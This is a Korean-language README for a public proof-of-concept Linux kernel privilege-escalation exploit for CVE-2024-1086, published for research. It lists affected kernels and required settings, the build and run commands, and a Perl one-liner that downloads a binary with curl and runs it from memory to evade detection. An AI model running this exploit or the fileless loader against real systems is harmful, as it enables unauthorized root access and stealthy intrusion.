
CVE-2024-1086에 대한 범용 로컬 권한 상승 PoC 익스플로잇으로, Debian, Ubuntu, KernelCTF를 포함한 v5.14~v6.6 사이의 대부분의 Linux 커널에서 작동합니다. KernelCTF 이미지에서 성공률은 99.4%입니다.
v5.14부터 v6.6 사이의 대부분의 Linux 커널(Debian, Ubuntu, KernelCTF 포함)에서 동작하는 CVE-2024-1086용 범용 로컬 권한 상승 PoC 익스플로잇입니다. KernelCTF 이미지에서 성공률은 99.4%입니다.
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
익스플로잇에 대한 전체 분석(write-up)은 배경 정보와 유용한 다이어그램을 포함하여 Flipping Pages 블로그 게시물에서 확인할 수 있습니다.
이 익스플로잇은 v5.14(포함)부터 v6.6(포함)까지의 버전에 영향을 미치며, 패치된 브랜치 v5.15.149>, v6.1.76>, v6.6.15>는 제외됩니다. 이러한 버전에 대한 패치는 2024년 2월에 릴리스되었습니다. 근본적인 취약점은 v3.15부터 v6.8-rc1까지의 모든 버전(패치된 안정 브랜치 제외)에 영향을 미칩니다.
주의사항:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y가 설정된 v6.4> 커널(Ubuntu v6.5 포함)에서는 동작하지 않습니다.CONFIG_USER_NS=y)가 필요하며, 해당 사용자 네임스페이스가 비특권(unprivileged) 상태(sh 명령 sysctl kernel.unprivileged_userns_clone = 1)이고, nf_tables가 활성화되어 있어야 합니다(kconfig CONFIG_NF_TABLES=y). 기본적으로 Debian, Ubuntu, KernelCTF에서는 모두 활성화되어 있습니다. 다른 배포판은 테스트되지 않았지만 동작할 수도 있습니다. 또한 이 익스플로잇은 x64/amd64에서만 테스트되었습니다.기본값은 로컬 셸이 있는 Debian, Ubuntu, KernelCTF에서 바로 동작합니다. 테스트되지 않은 환경/배포판에서는 kconfig 값이 대상 커널과 일치하는지 확인하십시오. 이러한 값은 src/config.h에서 지정할 수 있습니다. 물리 메모리가 32GiB를 초과하는 머신에서 익스플로잇을 실행하는 경우 CONFIG_PHYS_MEM을 늘리십시오.
SSH(테스트 머신으로) 또는 리버스 셸을 통해 익스플로잇을 실행하는 경우 불필요한 네트워크 활동을 피하기 위해 CONFIG_REDIRECT_LOG를 1로 설정하는 것이 좋습니다.
이 방법이 번거롭다면 기본 설정으로 컴파일된 x64 바이너리가 있습니다.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
바이너리: CVE-2024-1086/exploit
익스플로잇 실행도 마찬가지로 간단합니다:
./exploit
탐지를 피해야 하는 침투 테스트 상황을 위해 파일리스(fileless) 실행도 지원됩니다. 단, 대상에 Perl이 설치되어 있어야 합니다:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
이 소프트웨어 디렉토리/폴더/저장소("리포지토리")에 포함된 프로그램 및 스크립트("프로그램")는 교육/연구 목적으로만 게시, 개발, 배포됩니다. 저("제작자")는 이 리포지토리의 프로그램에 대한 악의적이거나 불법적인 사용을 용납하지 않습니다. 이는 연구를 공유하려는 의도이지 불법 활동을 위한 것이 아니기 때문입니다. 이 리포지토리의 프로그램을 사용하여 여러분이 하는 모든 행위에 대해 저는 법적 책임이 없습니다.